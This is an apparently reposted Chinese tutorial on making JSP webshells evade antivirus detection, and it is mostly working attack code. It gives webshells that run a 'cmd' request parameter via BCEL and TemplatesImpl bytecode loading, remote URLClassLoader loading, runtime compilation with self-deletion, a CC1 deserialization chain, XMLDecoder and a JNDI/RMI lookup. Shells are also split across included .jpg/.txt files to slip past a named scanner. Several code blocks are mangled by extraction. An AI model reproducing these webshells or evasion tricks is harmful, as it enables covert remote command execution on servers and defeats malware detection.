<%@ page import='java.lang.reflect.Method'>
<%@ page import='com.sun.org.apache.xml.internal.security.utils.Base64'>
<%@ page import='com.sun.org.apache.bcel.internal.classfile.Utility'>
<%
  byte[] bytes =  Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
  String code = Utility.encode(bytes, true);
  String bcelCode = "$BCEL$" + code;
  com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();

  Class shell = bcelClassLoader.loadClass(bcelCode);
  Object object = shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  String cmd = request.getParameter("cmd");
  response.getWriter().println(dm.invoke(object, cmd));

%>

TemplatesImpl 加载字节码

TemplatesImpl是fastjson反序列化漏洞中常用的对象之一,但是由于在TemplatesImpl触发漏洞点只是调用个无参构造,导致恶意类的类方法无法被调用,只能将恶意代码插入到无参构造方法,或者静态代码块中。

package com.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意:

这里的类必须继承自AbstractTranslet

<%@ page import='java.util.Base64'>
<%@ page import='java.lang.reflect.Field'>
<%@ page import='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'>
<%@ page import='com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl'>
<% class demo private void setfiledvalueobject obj string fieldname object fieldvalue throws exception field field='obj.getClass().getDeclaredField(fieldName);' field.setaccessibletrue field.setobj fieldvalue public demostring s try byte codes='Base64.getDecoder().decode(s);' byte _bytecodes='new' byte codes templatesimpl templates='new' templatesimpl setfiledvaluetemplates _bytecodes _bytecodes setfiledvaluetemplates _name whatever setfiledvaluetemplates _tfactory new transformerfactoryimpl templates.newtransformer catch exception e e.printstacktrace new demoyv66vgaaadqazgoaewacgbaaeekaeaaqgoaqwbebwbfbwbgcgagaeckaauasagasqoabqbkbwblcgalad8kaasataoacwbncabobwbpcgaqafahafehafibaay8aw5pdd4baamokvybaardb2rlaqaptgluzu51bwjlclrhymxlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweaeexjb20vzgvtby9tagvsbdsbaarydw5zaqamkexqyxzhl2xhbmcvu3ryaw5noylmamf2ys9syw5nl1n0cmluzzsbaanjbwqbabjmamf2ys9syw5nl1n0cmluzzsbaadwcm9jzxnzaqattgphdmevbgfuzy9qcm9jzxnzoweaamlzaqavtgphdmevaw8vsw5wdxrtdhjlyw07aqaoynvmzmvyzwrszwfkzxibabhmamf2ys9pby9cdwzmzxjlzfjlywrlcjsbaafyaqabcweadvn0ywnrtwfwvgfibguhafmhafqhafuhaeubaapfegnlchrpb25zaqajdhjhbnnmb3jtaqbykexjb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvre9no1tmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmlhbgl6yxrpb25iyw5kbgvyoylwaqaizg9jdw1lbnqbac1my29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl0rpttsbaahoyw5kbgvycweaqltmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmlhbgl6yxrpb25iyw5kbgvyowcavgeapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9kdg0vrfrnqxhpc0l0zxjhdg9yo0xjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl3nlcmlhbgl6zxivu2vyawfsaxphdglvbkhhbmrszxi7kvybaahpdgvyyxrvcgeanuxjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl2r0bs9eve1beglzsxrlcmf0b3i7aqahagfuzgxlcgeaquxjb20vc3vul29yzy9hcgfjaguveg1sl2ludgvybmfsl3nlcmlhbgl6zxivu2vyawfsaxphdglvbkhhbmrszxi7aqaipgnsaw5pdd4baaflaqavtgphdmevaw8vsu9fegnlchrpb247bwbpaqaku291cmnlrmlszqeaclnozwxslmphdmemabqafqcavwwawabzdabaafshafqmafwaxqeafmphdmevaw8vqnvmzmvyzwrszwfkzxibablqyxzhl2lvl0luchv0u3ryzwftumvhzgvydaauaf4mabqaxweaaawayabhaqaxamf2ys9syw5nl1n0cmluz0j1awxkzximagiaywwazabhaqaey2fsyweae2phdmevaw8vsu9fegnlchrpb24maguafqeadmnvbs9kzw1vl1nozwxsaqbay29tl3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl3j1bnrpbwuvqwjzdhjhy3rucmfuc2xldaeaegphdmevbgfuzy9tdhjpbmcbabfqyxzhl2xhbmcvuhjvy2vzcweae2phdmevaw8vsw5wdxrtdhjlyw0badljb20vc3vul29yzy9hcgfjaguvegfsyw4vaw50zxjuywwvehnsdgmvvhjhbnnszxrfegnlchrpb24babfqyxzhl2xhbmcvunvudgltzqeacmdldfj1bnrpbwubabuokuxqyxzhl2xhbmcvunvudgltztsbaarlegvjaqankexqyxzhl2xhbmcvu3ryaw5noylmamf2ys9syw5nl1byb2nlc3m7aqaoz2v0sw5wdxrtdhjlyw0babcokuxqyxzhl2lvl0luchv0u3ryzwftoweagchmamf2ys9pby9jbnb1dfn0cmvhbtspvgeaeyhmamf2ys9pby9szwfkzxi7kvybaahyzwfktgluzqeafcgptgphdmevbgfuzy9tdhjpbmc7aqagyxbwzw5kaqatkexqyxzhl2xhbmcvu3ryaw5noylmamf2ys9syw5nl1n0cmluz0j1awxkzxi7aqaidg9tdhjpbmcbaa9wcmludfn0ywnrvhjhy2uaiqasabmaaaaaaauaaqauabuaaqawaaaalwabaaeaaaafkrcaabeaaaacabcaaaagaaeaaaaoabgaaaamaaeaaaafabkaggaaaakagwacaaiafgaaaouabqagaaaas7gaaiq2aanmk7yabe27aavzuwagwsy3aae3aahoegk6bbijoguttgakwtoexgacuwalwbcadbkftgangqs2aa22aa46baf4bkfsaaaaamafwaaaciacaaaabcacaayaa0agqadaboaiqabacuahaavab0asaafabgaaaaaayaaablab0ahgaaaagaqwafacaaaqanad4aiqaiaaiahqauacmajaadaceakgalab4abaalacyajgaeaauajwaaabwaav8ajqagbwaobwapbwaqbwarbwaobwaoaaaiacwaaaaeaaeaeaabac0algacabyaaaaaaaaawaaaagxaaaaagaxaaaabgabaaaajqayaaaaiaadaaaaaqazaboaaaaaaaealwawaaeaaaabadeamgacacwaaaaeaaeamwabac0anaacabyaaabjaaaabaaaaagxaaaaagaxaaaabgabaaaakgayaaaakgaeaaaaaqazaboaaaaaaaealwawaaeaaaabaduangacaaaaaqa3adgaawasaaaabaabadmacaa5abuaaqawaaaayqacaaeaaaasuaaceg2aanxpwaisyq2abgxaaeaaaajaawaeaadabcaaaawaauaaaaraakafaamabiadqatabeafqayaaaadaabaa0abaa6adsaaaanaaaabwactacapaqaaqa9aaaaaga>

在这里由于不能调用恶意类的类方法和有参构造,导致无法动态的执行命令,虽然如此但依旧可能利用ASM,javassist这些字节码框架来动态生成恶意类,进行动态的调用命令,在本文先不在探讨如何利用,

利用的方式将会在后期文章中讲解。

URLClassLoader本地加载

URLClassLoader一般有两种利用方式,一种是远程加载class文件,一种是本地加载class文件。

远程加载class文件免杀:

直接利用远程在家class文件的好处是代码量少,特征少。但是由于需要一个外网主机作为服务器,远程可能存在着被溯源的可能性。

<%@ page import='java.net.URL'>
<%@ page import='java.net.URLClassLoader'>
<%@ page import='java.lang.reflect.Method'>
<% string cmd='request.getParameter("cmd");' url url='new' urlhttp:127.0.0.1:8000 urlclassloader classloader='new' urlclassloadernew urlurl system.out.println classloader.getparent class shell='classLoader.loadClass("com.demo.Shell");' object object='shell.newInstance();' method dm='shell.getDeclaredMethod("runs",String.class);' object invoke='dm.invoke(object,' cmd response.getwriter.printlninvoke>

这里讲解一下服务端如何搭建:

第一步:在一个文件夹中使用python开启一个http服务

python -m http.server

第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件

以上两步即可完成搭建

免杀效果:

JavaCompiler本地class文件免杀:

该免杀方式为先写入一个java马,利用JavaCompiler将其在jvm运行时编译成class文件,及javac动态编译,在利用urlclassloader加载编译好的class文件,为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java,class文件,为了隐蔽性,在这里将删除的文件在进行了删除处理。

<%@ page import='java.net.URL'>
<%@ page import='java.net.URLClassLoader'>
<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.FileWriter'>
<%@ page import='java.util.Base64'>
<%@ page import='java.io.IOException'>
<%@ page import='javax.tools.JavaCompiler'>
<%@ page import='javax.tools.ToolProvider'>
<%@ page import='java.io.File'>

<% class delete public void deletedirfile directory file files='directory.listFiles();' for file file : files iffile.isdirectory deletedirfile else file.delete directory.delete string cmd='request.getParameter("cmd");' string base64code='cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==' filewriter writer try writer='new' filewritersystem.getpropertyuser.dir\\shell.java writer.writenew stringbase64.getdecoder.decodebase64code writer.flush writer.close catch ioexception e e.printstacktrace try javacompiler javac='ToolProvider.getSystemJavaCompiler();' int status='javac.run(null,' null null -d system.getpropertyuser.dirsystem.getpropertyuser.dir\\shell.java ifstatus='0){' response.getwriter.printlnsystem.getpropertyuser.dir urlclassloader classloader='new' urlclassloadernew urlnew filestring.valueofsystem.getpropertyuser.dir.touri.tourl class shell='classLoader.loadClass("com.demo.Shell");' object object='shell.newInstance();' method dm='shell.getDeclaredMethod("runs",String.class);' object invoke='dm.invoke(object,' cmd response.getwriter.printlninvoke new delete.deletedirnew filesystem.getpropertyuser.dir \\com new delete.deletedirnew filesystem.getpropertyuser.dir \\shell.java catch exception e e.printstacktrace>

免杀效果:

如果大家学过shellcode的免杀,我想都会有一种似曾相识的感觉,没错,这里的字节码类似与shellcode,而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式,以及利用类加载器加载字节码达到免杀效果。

本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果

这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。

<%@ page import='java.io.*'>
<%@ page import='org.apache.commons.collections.Transformer'>
<%@ page import='org.apache.commons.collections.functors.ConstantTransformer'>
<%@ page import='org.apache.commons.collections.functors.InvokerTransformer'>
<%@ page import='org.apache.commons.collections.functors.ChainedTransformer'>
<%@ page import='java.util.Map'>
<%@ page import='java.util.HashMap'>
<%@ page import='org.apache.commons.collections.map.LazyMap'>
<%@ page import='java.lang.reflect.Constructor'>
<%@ page import='java.lang.reflect.InvocationHandler'>
<%@ page import='java.lang.annotation.Retention'>
<%@ page import='java.lang.reflect.Proxy'>
<% string cmd='request.getParameter("cmd");' transformer transformers='new' transformer new constanttransformerruntime.class new invokertransformergetmethod new class string.class class.class new object getruntime new class0 new invokertransformerinvoke new class object.class object.class new object null new object0 new invokertransformerexec new class string.class new object cmd transformer transformerchain='new' chainedtransformertransformers map innermap='new' hashmap map outmap='LazyMap.decorate(innermap,' transformerchain class clazz='Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");' constructor construct='clazz.getDeclaredConstructor(Class.class,' map.class construct.setaccessibletrue invocationhandler construct.newinstanceretention.class outmap map proxymap='(Map)' proxy.newproxyinstancemap.class.getclassloader new class map.class proxymap objectoutputstream outputstream='new' objectoutputstreamnew fileoutputstreamtest.out outputstream.writeobjecthandler outputstream.close objectinputstream inputstream='new' objectinputstreamnew fileinputstreamtest.out inputstream.readobject>

免杀效果:

可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。

想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。

<%@ page import='java.beans.XMLDecoder'>
<%@ page import='java.io.*'>
<% string cmd='request.getParameter("cmd");' string s='\n" +
            "\n" +
            "\n" +
            "cmd.exe\n" +
            "\n" +
            "\n" +
            "/c\n" +
            "\n" +
            "\n" +
            ""+cmd+"\n" +
            "\n" +
            "\n" +
            "\n" +
            "</object>\n";


    XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
    ProcessBuilder process = (ProcessBuilder) xd.readObject();
    InputStream is = process.start().getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。

<%@ page import='java.io.*'>
<%@ page import='javax.xml.transform.Transformer'>
<%@ page import='javax.xml.transform.stream.StreamResult'>
<%@ page import='javax.xml.transform.TransformerFactory'>
<%@ page import='javax.xml.transform.stream.StreamSource'>
<% string cmd='request.getParameter("cmd");' string s=' " +
            "    \n" +
            "      \n" +
            "      \n" +
            "      \n" +
            "      \n" +
            "    \n" +
            "  ";
    InputStream in = new ByteArrayInputStream(s.getBytes());
    StreamResult result = new StreamResult(new ByteArrayOutputStream());
    Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
    t.transform(new StreamSource(new ByteArrayInputStream("".getBytes())),result);

%>

攻击者:

package com.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

恶意类:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        System.out.println(nameCtx);
        //Runtime.getRuntime().exec("calc");
        return null;
    }
}

webshell:

<%@ page import='javax.naming.Context'>
<%@ page import='javax.naming.InitialContext'>
<%@ page language='java' pageencoding='UTF-8'>
<% try system.setpropertycom.sun.jndi.rmi.object.trusturlcodebase true string uri='rmi://127.0.0.1:1099/hello' context ctx='new' initialcontext ctx.lookupuri catch exception e e.printstacktrace>

本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell

本章只要将之前没讲的一些免杀反射进行补充

<%@ page import='java.io.InputStream'>
<%@ page import='java.io.BufferedReader'>
<%@ page import='java.io.InputStreamReader'>
<%@page language='java' pageencoding='utf-8'>
<%@ include file='1.jpg'>

1.jpg

<% string cmd='request.getParameter("cmd");' process process='Runtime.getRuntime().exec(cmd);' inputstream is='process.getInputStream();' bufferedreader bufferedreader='new' bufferedreadernew inputstreamreaderis string r='null;' whiler='bufferedReader.readLine())!=null){' response.getwriter.printlnr>

免杀效果:

可以看到某盾会查杀jpg文件,这样的话,我们就在分解成多个部分

这里我们分成两部分进行包含

发现依旧绕不过,其实原因就是杀软的匹配规则,有的是单一匹配,有的是同时匹配,因此我们换一个之前不免杀的webshell(由于两处及以上特征存在导致被查杀)

正常运行

某盾不在查杀

<%@ page import='java.lang.reflect.Method'>
<%@ page import='java.io.*'>
<%@ page import='java.util.Base64'>
<%@ page language='java' pageencoding='UTF-8'>
<%@ include file='1.jpg'>
<%@ include file='2.txt'>

1.jpg

<%   
        String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
        Class rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
        Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
        Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
        Object object = method.invoke(runtimeMethod.invoke(null),cmd);
        Process process = (Process) object;

%>

2.txt

<% inputstream is='process.getInputStream();' bufferedreader bufferedreader='new' bufferedreadernew inputstreamreaderis string r='null;' whiler='bufferedReader.readLine())!=null){' response.getwriter.printlnr>

java的免杀只要就是在于如何利用字节码,jsp特性,创建漏洞,少见的API等方式去绕过杀软的正则表达式,一般的杀软为了降低误报率,其实规则写的并不苛刻,还是比较好绕过了,多种免杀一起使用可以达到比较好的效果,其实学免杀,并不是盲目去测试,而且要了解更多的语言特性,就相当于游戏规则,当你足够了解游戏规则,再去测试杀软的规则,才能游刃有余。从才开始的php到现在的jsp,免杀系列已经写了10来篇了,weshell免杀就此先告一段落,后面如果有新的知识点也会继续补充,感谢大家。


原文链接:
https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral

点击这里复制本文地址 以上内容由莫古技术网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

莫古技术网 © All Rights Reserved.  滇ICP备2024046894号-2